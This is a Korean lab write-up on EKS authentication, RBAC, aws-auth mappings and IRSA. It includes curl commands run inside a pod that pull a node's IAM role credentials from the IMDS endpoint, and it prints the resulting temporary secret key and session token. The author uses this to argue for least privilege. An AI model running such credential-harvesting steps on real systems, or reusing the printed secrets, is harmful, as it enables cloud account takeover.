  • SUBJECT: 사용자, 서비스 계정, 또는 그룹을 식별합니다.
  • SUBJECT TYPE: 주체의 타입(사용자, 서비스 계정, 그룹 등)을 나타냅니다.
  • SCOPE: 주체가 연결된 롤의 범위를 나타냅니다. ClusterRole은 클러스터 전체에 적용되는 권한을, Role은 특정 네임스페이스에 적용되는 권한을 가집니다.
  • NAMESPACE: 롤이 적용되는 네임스페이스를 나타냅니다. 클러스터 역할인 경우 이 필드는 비어있습니다.
  • ROLE: 주체가 바인딩된 롤의 이름을 나타냅니다.
  • BINDING: 주체와 롤 사이의 바인딩을 나타냅니다. 이는 주체가 해당 롤의 권한을 가지게 하는 연결고리 역할을 합니다.

특정 사용자나 서비스 계정에 권한을 조정하고 싶다면, 적절한 RoleBinding 또는 ClusterRoleBinding을 생성하거나 수정하여 권한을 조정할 수 있습니다

kubectl rbac-tool whoami 명령어의 결과는 현재 쿠버네티스 클러스터와 상호작용하는 사용자의 신원 정보를 보여줍니다. 이 정보는 클러스터에 접근할 때 사용되는 사용자의 신원(Identity)을 나타내며, 여기에는 사용자 이름, UID, 소속 그룹, 그리고 추가적인 정보가 포함될 수 있습니다.

  • Username: 현재 클러스터와 상호작용하는 사용자의 이름입니다. 여기서는 Amazon Resource Name(ARN) 형식으로 AWS IAM 사용자를 나타냅니다. 이는 kubectl 명령어를 실행하는 사용자가 AWS IAM을 통해 인증된 것을 의미합니다.
  • UID: 사용자의 고유 식별자입니다. 이 예제에서는 AWS IAM 사용자의 고유 식별자가 사용되고 있습니다.
  • Groups: 사용자가 속한 그룹을 나타냅니다. system:authenticated는 모든 인증된 사용자가 기본적으로 속하는 그룹입니다.
  • Extra: 사용자에 대한 추가 정보입니다. 여기에는 accessKeyId, arn, canonicalArn, principalId, sessionName과 같은 필드가 포함될 수 있으며, 이들은 사용자의 AWS IAM 신원에 관한 정보를 제공합니다.

kubectl rolesum 명령어의 결과는 쿠버네티스 클러스터 내에서 특정 사용자, 그룹, 또는 서비스 계정이 가지고 있는 권한 요약을 보여줍니다.

시스템 인증된 사용자 그룹(system:authenticated):

  • 기본 사용자(system:basic-user)와 발견(system:discovery), 공개 정보 보기(system:public-info-viewer)에 관련된 권한을 가지고 있습니다.
  • selfsubjectaccessreviews, selfsubjectreviews, selfsubjectrulesreviews와 같은 리소스에 대해 create 동작을 수행할 수 있습니다. 이는 사용자가 자신의 권한을 조회할 수 있음을 의미합니다.

system:kube-proxy 사용자:

  • endpoints, endpointslices, events, nodes, services 리소스에 대한 특정 권한을 가지고 있으며, 이는 kube-proxy의 기능과 관련이 있습니다.
  • 예를 들어, nodes에 대해 get, list, watch 권한을 가지며, 이는 클러스터 내 노드의 상태를 관찰하고 관리하는데 필요한 권한입니다.

시스템 마스터 그룹(system:masters):

  • 클러스터 관리자(cluster-admin) 권한을 가지며, 이는 클러스터 내 모든 리소스에 대한 모든 동작을 수행할 수 있는 가장 높은 수준의 권한을 의미합니다.

aws-node 서비스 계정(kube-system 네임스페이스):

  • VPC 리소스와 관련된 권한을 가지고 있습니다(cninodes, eniconfigs 등).
  • aws-node 역할은 주로 AWS EKS 환경에서 쿠버네티스 클러스터 내의 네트워킹 관련 작업을 수행하는데 사용됩니다.
# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view
INFO[0000] Getting K8s client
INFO[0000] serving RBAC View and <http://localhost:8800>

## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨) 
echo -e "RBAC View Web <http://$>(curl -s ipinfo.io/ip):8800"

kubectl rbac-view 명령어 실행 결과는 쿠버네티스 클러스터 내에서 각 사용자, 그룹, 또는 서비스 계정이 가지고 있는 권한의 요약을 웹 인터페이스를 통해 보여줍니다.

이 명령어를 실행하면 로컬에서 웹 서버가 시작되고, http://localhost:8800 주소를 통해 RBAC 구성을 시각적으로 확인할 수 있게 됩니다.

동작은 다음과 같습니다.

  1. 클라이언트 설정 가져오기: 쿠버네티스 클라이언트를 초기화하고 클러스터와의 통신을 설정합니다.
  2. RBAC 구성 분석: 클러스터 내의 Roles, ClusterRoles, RoleBindings, ClusterRoleBindings 등 RBAC 관련 리소스를 분석하여 사용자나 그룹별 권한 매트릭스를 구성합니다.
  3. 웹 서버 시작: 분석된 RBAC 구성을 보여주는 웹 서버를 시작합니다. 사용자는 웹 브라우저를 통해 이 정보를 시각적으로 확인할 수 있습니다.
  4. 외부 접근 주소 출력: 실제 서버의 공개 IP 주소와 함께 RBAC View 웹 페이지의 주소를 출력합니다.

주요 정보 포인트:

  • CRB / CR: ClusterRoleBindings / ClusterRole를 나타냅니다. 클러스터 수준에서의 권한 바인딩과 역할을 의미합니다.
  • RB / R: RoleBindings / Roles 나타냅니다. 특정 네임스페이스 내에서의 권한 바인딩과 역할을 의미합니다.
  • 권한 매트릭스: 각 역할이나 역할 바인딩이 어떤 리소스에 대해 어떤 작업(Create, Read, Update, Delete 등)을 수행할 수 있는지를 나타냅니다.

이 도구는 클러스터 관리자나 보안 담당자가 클러스터 내의 권한 설정을 쉽게 파악하고, 필요에 따라 조정할 수 있도록 도와줍니다. 복잡한 클러스터에서 다양한 사용자와 그룹에 대한 권한을 시각적으로 파악하기 위해 유용합니다.


EKS 인증/인가 완벽 분석 해보기

참고 - https://youtu.be/bksogA-WXv8 , AWES 세미나

인증(Authentication) 과정:

  1. 사용자가 kubectl 명령어로 Kubernetes 클러스터에서 특정 동작을 수행하려 합니다(K8S Action).
  2. kubectl은 사용자의 AWS 자격 증명을 이용하여 인증 데이터(토큰)를 생성합니다. 이 때 pre-signed URL을 통해 임시 토큰을 생성하게 됩니다(Token 발급).
  3. 생성된 토큰과 함께 실제 작업 요청이 Kubernetes API 서버로 전달됩니다(Action + Token).
  4. Kubernetes API 서버는 AWS IAM Authenticator에 전달받은 토큰을 검증하도록 요청합니다(Id Token 확인).
  5. AWS IAM Authenticator는 AWS STS(Security Token Service)에게 사용자의 신원을 검증해달라고 요청합니다(sts:GetCallerIdentity).
  6. AWS STS는 토큰을 검증하고, 사용자의 신원(Identity)에 대한 정보를 IAM Authenticator에 반환합니다.

인가(Authorization) 과정:

  1. IAM Authenticator는 Kubernetes API 서버에 사용자의 신원을 확인해줍니다. Kubernetes API는 이제 사용자가 Kubernetes 클러스터 내에서 어떤 사용자인지 알게 됩니다(K8S User 확인).
  2. Kubernetes API는 RBAC(Role-Based Access Control) 시스템을 통해 사용자의 요청이 허용될 수 있는지를 결정합니다. 이 때 사용자의 역할(Role)과 이 역할에 바인딩된 권한(Role Binding)이 중요합니다.
  3. RBAC 시스템은 사용자가 요청한 작업에 대해 허용할 것인지 거부할 것인지를 최종적으로 결정하고, 결과를 사용자에게 전달합니다.

종합 설명:

  • 사용자는 kubectl을 통해 EKS 클러스터에 작업을 요청합니다.
  • AWS IAM을 통한 인증 절차가 시작되며, 사용자의 AWS 자격 증명으로부터 임시 토큰을 발급받습니다.
  • 인증된 토큰은 Kubernetes API 서버로 전송되고, AWS IAM Authenticator를 통해 AWS STS에 의해 신원이 검증됩니다.
  • 사용자의 신원이 확인되면, EKS 내의 RBAC 정책에 따라 사용자가 요청한 Kubernetes 작업에 대한 권한을 검사합니다.
  • 사용자의 권한에 따라 요청된 작업은 허용되거나 거부됩니다.

이 프로세스는 AWS 클라우드의 보안 기능과 EKS의 쿠버네티스 관리 기능을 결합하여, 보안이 강화된 환경에서 효과적인 사용자 권한 관리와 작업 실행을 가능하게 합니다.

요약

Amazon EKS에서는 AWS IAM을 통해 사용자 인증을 처리하고, Kubernetes RBAC을 통해 인가를 관리합니다. 사용자는 AWS의 자격증명으로 토큰을 받아 Kubernetes 클러스터에 접근하며, 클러스터 내에서의 권한은 쿠버네티스의 RBAC 정책에 의해 결정

실습 (kubectl 명령 → aws eks get-token → EKS Service endpoint(STS)에 토큰 요청)

# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn

# kubeconfig 정보 확인
cat ~/.kube/config | yh
...
- name: admin@myeks.ap-northeast-2.eksctl.io
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - eks
      - get-token
      - --output
      - json
      - --cluster-name
      - myeks
      - --region
      - ap-northeast-2
      command: aws
      env:
      - name: AWS_STS_REGIONAL_ENDPOINTS
        value: regional
      interactiveMode: IfAvailable
      provideClusterInfo: false

# Get  a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help

# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'

토큰은 iam롤이 pull 권한이 있어서 토큰을 가져올 수 있습니다.

토큰은 만료기간이 있음에 주의합니다.

kubectl의 Client-Go 라이브러리는 Pre-Signed URL을 Bearer Token으로 EKS API Cluster Endpoint로 요청을 보냅니다.

https://jwt.io/

토큰을 jwt 사이트에 복붙으로 디코드 정보 확인(HS384 - HS256) PAYLOAD 정보 확인 : 일반적인 AWS API 호출과 유사하다.

  • JWT(JSON Web Token) : 당사자 간에 정보를 JSON 객체로 안전하게 전송하기 위한 간결하고 독립적인 방법을 정의하는 표준 FC 7519)이다.

payload의 값은 pre-sign URL입니다 .

 

https://url-decode.com/

<https://sts.ap-northeast-2.amazonaws.com/>?
Action=GetCallerIdentity&
Version=2011-06-15&
X-Amz-Algorithm=AWS4-HMAC-SHA256&
X-Amz-Credential=AKIARK...../20240410/ap-northeast-2/sts/aws4_request&
X-Amz-Date=20240410T080033Z&
X-Amz-Expires=60&X-Amz-SignedHeaders=host;x-k8s-aws-id&
X-Amz-Signature=a6faab40506..."

EKS API는 Token ReviewWebhook token authenticator에 요청 ⇒ (STS GetCallerIdentity 호출) AWS IAM 해당 호출 인증 완료 후 User/Role에 대한 ARN 반환합니다.

# tokenreviews api 리소스 확인 
kubectl api-resources | grep authentication
tokenreviews                                   authentication.k8s.io/v1               false        TokenReview

# List the fields for supported resources.
kubectl explain tokenreviews
...
DESCRIPTION:
     TokenReview attempts to authenticate a token to a known user. Note:
     TokenReview requests may be cached by the webhook token authenticator
     plugin in the kube-apiserver.

이제 쿠버네티스 RBAC 인가를 처리합니다. 가장 중요한건 aws-auth configmap입니다. (확인합니다.)

  • 해당 IAM User/Role 확인이 되면 kas aws-auth configmap에서 mapping 정보를 확인하게 됩니다.
  • aws-auth 컨피그맵에 "AM 사용자, 역할 arn, K8S 오브젝트' 로 권한 확인 후 k8s 인가 허가가 되면 최종적으로 동작 실행을 합니 다.
  • 참고로 EKS를 생성한 IAM principal은 aws-auth 와 상관없이 kubernetes-admin Username으로 system:masters 그룹에 권한을 가집니다.
# Webhook api 리소스 확인 
kubectl api-resources | grep Webhook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
NAME                                        WEBHOOKS   AGE
eks-aws-auth-configmap-validation-webhook   1          50m
vpc-resource-validating-webhook             2          50m
aws-load-balancer-webhook                   3          8m27s

kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# aws-auth 컨피그맵 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
apiVersion: v1
kind: ConfigMap
metadata: 
  name: aws-auth
  namespace: kube-system
data: 
  mapRoles: |
    - groups:
      - system:bootstrappers
      - system:nodes
      rolearn: arn:aws:iam::91128.....:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1OS1WSTV0YB9X
      username: system:node:{{EC2PrivateDNSName}}
#---<아래 생략(추정), ARN은 EKS를 설치한 IAM User , 여기 있었을경우 만약 실수로 삭제 시 복구가 가능했을까?---
  mapUsers: |
    - groups:
      - system:masters
      userarn: arn:aws:iam::111122223333:user/admin
      username: kubernetes-admin

# EKS 설치한 IAM User 정보 >> system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami
{Username: "kubernetes-admin",
 UID:      "aws-iam-authenticator:9112834...:AIDA5ILF2FJIR2.....",
 Groups:   ["system:masters",
            "system:authenticated"],
...

# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin
Name:         cluster-admin
Labels:       kubernetes.io/bootstrapping=rbac-defaults
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
Role:
  Kind:  ClusterRole
  Name:  cluster-admin
Subjects:
  Kind   Name            Namespace
  ----   ----            ---------
  Group  system:masters

# cluster-admin 의 PolicyRule 확인 : 모든 리소스  사용 가능!
kubectl describe clusterrole cluster-admin
Name:         cluster-admin
Labels:       kubernetes.io/bootstrapping=rbac-defaults
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
PolicyRule:
  Resources  Non-Resource URLs  Resource Names  Verbs
  ---------  -----------------  --------------  -----
  *.*        []                 []              [*]
             [*]                []              [*]

# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged

 

데브옵스 신입 사원을 위한 myeks-bastion-2에 설정 해보기

[myeks-bastion] testuser 사용자 생성

# testuser 사용자 생성
aws iam create-user --user-name testuser

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser
{
    "AccessKey": {
        "UserName": "testuser",
        "AccessKeyId": "AKIA5ILF2##",
        "Status": "Active",
        "SecretAccessKey": "TxhhwsU8##",
        "CreateDate": "2023-05-23T07:40:09+00:00"
    }
}
# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser

# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/admin"

kubectl whoami

# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

AWS의 IAM 서비스를 사용하여 새로운 사용자를 생성하고, 그 사용자에게 액세스 키를 발급하며, 사용자에게 AdministratorAccess 정책을 할당하는 과정을 보여줍니다.

testuser 라는 사용자가 AWS 리소스에 대한 전체 관리 권한을 갖게 됩니다. 그 후에 aws sts get-caller-identity 명령어를 통해 현재 AWS 사용자의 ARN을 확인하고, kubectl whoami 명령어로 현재 Kubernetes 클러스터에서 인증된 사용자의 ARN을 확인합니다.

[myeks-bastion-2] testuser 자격증명 설정 및 확인

# get-caller-identity 확인 >> 왜 안될까요?
aws sts get-caller-identity --query Arn

# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....
Default region name [None]: ap-northeast-2

# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/testuser"

# kubectl 시도 >> testuser도 AdministratorAccess 권한을 가지고 있는데, 실패 이유는?
kubectl get node -v6
ls ~/.kube

aws configure로 자격 증명을 해줍니다.

이젠 잘 나와주네요

하지만 couldn't get current server API group list: Get "http://localhost:8080/api?timeout=32s": dial tcp 127.0.0.1:8080: connect: connection refused . kubectl 거절당합니다.

admin권한을 가지고있는데도 그렇죠?

Kube config파일이 없어서 그렇습니다.

 

[myeks-bastion] testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한 설정

# 방안1 : eksctl 사용 >> iamidentitymapping 실행 시 aws-auth 컨피그맵 작성해줌
# Creates a mapping from IAM role or user to Kubernetes user and groups
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser

잘 추가 되었네요

# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
...

kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh
# 방안2 : 아래 edit로 mapUsers 내용 직접 추가!
kubectl edit cm -n kube-system aws-auth
---
apiVersion: v1
data: 
  mapRoles: |
    - groups:
      - system:bootstrappers
      - system:nodes
      rolearn: arn:aws:iam::911283464785:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ
      username: system:node:{{EC2PrivateDNSName}}
  mapUsers: |
    - groups:
      - system:masters
      userarn: arn:aws:iam::911283464785:user/testuser
      username: testuser
...

# 확인 : 기존에 있는 role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-YYYYY 는 어떤 역할/동작을 하는 걸까요?
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
ARN											USERNAME				GROUPS					ACCOUNT
arn:aws:iam::911283464785:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ	system:node:{{EC2PrivateDNSName}}	system:bootstrappers,system:nodes	
arn:aws:iam::911283464785:user/testuser							testuser				system:masters

이 부분을 확인해보면 testuser에 system:masters 확인 가능합니다. validator webhook이 여기에 넣어준 것입니다.

[myeks-bastion-2] testuser kubeconfig 생성 및 kubectl 사용 확인

# testuser kubeconfig 생성 >> aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser

# 첫번째 bastic ec2의 config와 비교해보자
cat ~/.kube/config | yh

# kubectl 사용 확인
kubectl ns default
kubectl get node -v6

# rbac-tool 후 확인 >> 기존 계정과 비교해보자 >> system:authenticated 는 system:masters 설정 시 따라오는 것 같은데, 추가 동작 원리는 모르겠네요???
kubectl krew install rbac-tool && kubectl rbac-tool whoami
{Username: "testuser",
 UID:      "aws-iam-authenticator:911283464785:AIDA5ILF2FJIV65KG6RBM",
 Groups:   ["system:masters",
            "system:authenticated"],
 Extra:    {accessKeyId:  ["AKIA5ILF2FJIZJUZSG4D"],
            arn:          ["arn:aws:iam::911283464785:user/testuser"],
            canonicalArn: ["arn:aws:iam::911283464785:user/testuser"],
...

update-kubeconfig로 kube config 파일이 생성이 됩니다 .

이 부분에 해당하는 소통이 이루어졌기때문에 가능한 일이다.

# 2번째 워커노드 
kubectl krew install rbac-tool && kubectl rbac-tool whoami

# 1번째 워커노드 
kubectl krew install rbac-tool && kubectl rbac-tool whoami

 

[myeks-bastion] testuser 의 Group 변경(system:masters → system:authenticated)으로 RBAC 동작 확인

# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...

# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

system:masters에서 system:authenticated로 매핑된 그룹을 수정 해줍니다.

확인 해줍니다.

 

[myeks-bastion-2] testuser kubectl 사용 확인

# 시도
kubectl get node -v6
kubectl api-resources -v5

권한이 없다고 바로 에러를 뱉습니다. 권한 중요하네요

[myeks-bastion]에서 testuser IAM 맵핑 삭제

# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn  arn:aws:iam::$ACCOUNT_ID:user/testuser

# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh

testuser가 확인 안됨은 물론, mapUsers에서도 공백으로 확인됩니다.

[myeks-bastion-2] testuser kubectl 사용 확인

# 시도
kubectl get node -v6
kubectl api-resources -v5

당연히 안됩니다 .

노드 mapRoles 확인

# 노드에 STS ARN 정보 확인 : Role 뒤에 인스턴스 ID!
for node in $N1 $N2 $N3; do ssh ec2-user@$node aws sts get-caller-identity --query Arn; done
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ/i-07c9162ed08d23e6f"
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ/i-00d9d24c0af0d6815"
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ/i-031e672f89572abe8"

# aws-auth 컨피그맵 확인 >> system:nodes 와 system:bootstrappers 의 권한은 어떤게 있는지 찾아보세요!
# username 확인! 인스턴스 ID? EC2PrivateDNSName?
kubectl describe configmap -n kube-system aws-auth
...
mapRoles:
----
- groups:
  - system:nodes
  - system:bootstrappers
  rolearn: arn:aws:iam::911283464785:role/eksctl-myeks-nodegroup-ng-f6c38e4-NodeInstanceRole-1OU85W3LXHPB2
  username: system:node:{{EC2PrivateDNSName}}
...

# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
ARN												USERNAME		GROUPS					ACCOUNT
arn:aws:iam::911283464785:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1OS1WSTV0YB9X	system:node:{{EC2PrivateDNSName}}	system:bootstrappers,system:nodes
...

ec2에서 사용하는 그룹은 mapUsers가 아닌 mapRoles에 있는 그룹을 사용합니다.

rolearn에 있는 저 Role을 사용해서 동작합니다.

awscli 파드를 추가하고, 해당 노드(EC2)의 IMDS 정보 확인 : AWS CLI v2 파드 생성

# awscli 파드 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: awscli-pod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: awscli-pod
  template:
    metadata:
      labels:
        app: awscli-pod
    spec:
      containers:
      - name: awscli-pod
        image: amazon/aws-cli
        command: ["tail"]
        args: ["-f", "/dev/null"]
      terminationGracePeriodSeconds: 0
EOF

# 파드 생성 확인
kubectl get pod -owide

# 파드 이름 변수 지정
APODNAME1=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[0].metadata.name})
APODNAME2=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[1].metadata.name})
echo $APODNAME1, $APODNAME2

# awscli 파드에서 EC2 InstanceProfile(IAM Role)의 ARN 정보 확인
kubectl exec -it $APODNAME1 -- aws sts get-caller-identity --query Arn
kubectl exec -it $APODNAME2 -- aws sts get-caller-identity --query Arn

# awscli 파드에서 EC2 InstanceProfile(IAM Role)을 사용하여 AWS 서비스 정보 확인 >> 별도 IAM 자격 증명이 없는데 어떻게 가능한 것일까요?
# > 최소권한부여 필요!!! >>> 보안이 허술한 아무 컨테이너나 탈취 시, IMDS로 해당 노드의 IAM Role 사용 가능!
kubectl exec -it $APODNAME1 -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it $APODNAME2 -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
 

파드는 동작하고 있는 인스턴스의 역할에 매핑되어 정책, 권한들을 사용할 수 있습니다.

 

# EC2 메타데이터 확인 : IDMSv1은 Disable, IDMSv2 활성화 상태, IAM Role - 링크
kubectl exec -it $APODNAME1 -- bash
-----------------------------------
아래부터는 파드에 bash shell 에서 실행
curl -s <http://169.254.169.254/> -v
...

# Token 요청 
curl -s -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ; echo
curl -s -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ; echo

# Token을 이용한 IMDSv2 사용
TOKEN=$(curl -s -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
echo $TOKEN
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v <http://169.254.169.254/> ; echo
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v <http://169.254.169.254/latest/> ; echo
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v <http://169.254.169.254/latest/meta-data/iam/security-credentials/> ; echo

# 위에서 출력된 IAM Role을 아래 입력 후 확인
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v <http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1DC6Y2GRDAJHK>
{
  "Code" : "Success",
  "LastUpdated" : "2023-05-27T05:08:07Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5ILF2FJI5VPIYJHP",
  "SecretAccessKey" : "rke6HXkaG4B/YLGUyAYtDnd3eMrjXlCpiB4h+9XJ",
  "Token" : "IQoJb3JpZ2luX2VjEAUaDmFwLW5vcnRoZWFzdC0yIkcwRQIhAOLQr2c2k4UwqTR2Iof2wq9Faduno1a2FX07ASHsO/rCAiAvCqQRv/JrSDZNZKNMloaBTR4s91O+RNWfSlfNluimmirLBQg+EAEaDDkxMTI4MzQ2NDc4NSIM1/RJmwkWziNhz8TEKqgFZZr1FpwHmLWNzdCdbNxtPk/YhbqbED6JzFiWJssqdRq4UniamoGrkV75oaf7o0CXQTlgK7r6f07goYA268UlqGx9XHKmeSoUt3ZTG79B1BIiSW22JVFzs4/fMpcwQLFv1lJKcGOqKehXrlq4yQ2zln4QTi/S30rp2ARiUfjgdp2+gkWKzOVWkdgoKtn3OAfdI/hBJHiz1eDPZsqqzv8eyP6sdo1xHJ6OY7xjLtTHWRaQpt6SStKTzsN88sJi9NebBXV63FJ6EkGNaC7eFo/nq9xZtGJqsu3PEuseadl8a8LJzOfNO0NP+4p8o0fMV4oeKSItZUIu88CvinvGd3bp1FWlVItDsGwjo6qOTxCg2ov6p7cAbTudEA5AwSjDlHm/BX08JN4XN7kDKtBQhHoWRbeI3suqZmtLPrSu5NCfgVu2jJpMiwOEhVV9W+fBUica345sIp94qIVVwrVbDnuLC0QDSXKxD+GRhcqdtA54QmUodqxv/bEUlRy1wVUty7Umucxl3B6MYBVSXR7PRzcf2U3vvqbJDJAT5dhFTRI1gK1YcXLzpT1T3wluMsyMPFpEWYMe/QEDAn0UwJ55pZt2pKohioiLJ3amWfNUhzoDkmXXZhAOM71e8gUVdrtAVcnl30MTDjHlIWIOBWrVMshunM5Wfmr4H4BAV+8of6xGz5AhoodWNVE+/x+XifO6h9l+Plwq24Jp8SbiCF3ZFQVe20ijsfDqK6SFAveL4vcVz7sEGLTZXLNLycgeGQmcvkb7Mmmoir/9UwNCWFWBbWXZfsEbNfSLhInw+k53FLb5I+axJPhEDSE5Iqmu+cuvoZfLy+bOailVgQN/jX6vZSL3ihhJwsP7t58urN34tKP+sjOpIBWv2bV2OnntaAqbc24tmc0wjWkaw5IwqKDGowY6sQGFB40kmsXmxihug/yKwcMK/pg5xFknPFO56P6BzErLmt1hcpNF4QBQzh/sdFi7Y/EOh9NqU/XFdFeJLp6KgaxUASLSW/k6ee+RzhbW0aSJb9GYi7tZdArcjg4YaQ6hdXdCFXiYWbNyIMs2MH8APT5jFDnwpbqSnlO2Ao64XY12cm2tMWVH+KTUyLGICHP1az7kD3/tV9glw9rJB2AOL4iA3TTuK+U2o+pHWEHRQOVh3p4=",
  "Expiration" : "2023-05-27T11:09:07Z"
}
## 출력된 정보는 AWS API를 사용할 수 있는 어느곳에서든지 Expiration 되기전까지 사용 가능

# 파드에서 나오기
exit
---

위 과정으로 나온 credential을 이용하면, Expire date까지는 탈취가 가능하니 관리를 잘해야한다.


EKS IRSA & Pod Identitty

IRSA (IAM Roles for Service Accounts)

AWS 환경에서 Kubernetes 애플리케이션의 보안과 자원 접근 관리를 향상시키는 중요한 기능입니다. 본질적으로, IRSA는 Kubernetes 서비스 어카운트를 AWS IAM 역할에 연결하여, 특정 Kubernetes 팟이 AWS 리소스에 접근할 때 필요한 권한을 제어할 수 있게 합니다.

기존 방식의 문제점

일반적으로, Kubernetes 파드가 AWS 리소스에 접근할 필요가 있을 때, 이를 가능하게 하는 방법 중 하나는 EC2 인스턴스 프로파일을 사용하는 것입니다.

EC2 인스턴스 프로파일은 인스턴스에 IAM 역할을 연결하여 해당 인스턴스에서 실행되는 모든 애플리케이션이 AWS 리소스에 접근할 수 있도록 허용합니다. 하지만, 이 방식은 광범위한 권한을 부여하게 되어 보안상 취약점이 될 수 있습니다.

특히, 같은 인스턴스에서 여러 파드가 실행될 경우, 하나의 파드에 필요한 권한이 다른 파드에도 부여되는 상황이 발생할 수 있습니다.

IRSA의 솔루션

IRSA는 이러한 문제를 해결하기 위해 개발되었습니다. 개별 서비스 어카운트에 IAM 역할을 직접 연결함으로써, 특정 파드만이 필요한 AWS 리소스에 접근할 수 있도록 최소 권한을 부여합니다. 이를 통해, 보안을 강화하고 리소스 접근을 더 세밀하게 제어할 수 있습니다.

Service Account Token Volume Projection

Kubernetes에서는 서비스 어카운트 토큰을 사용하여 파드가 Kubernetes 리소스에 접근합니다. 기본적으로, 서비스 어카운트 토큰은 특정 사용 대상(audience)과 유효 기간(expiration)을 제어할 수 없다는 단점이 있었습니다. 하지만, Service Account Token Volume Projection 기능을 사용하면 이러한 문제를 해결할 수 있습니다. 이 기능을 통해, 서비스 어카운트 토큰의 사용 대상과 유효 기간을 정의할 수 있으며, 이는 IRSA와 함께 작동하여 Kubernetes 파드가 AWS 리소스에 접근할 때 보안을 더욱 강화합니다.

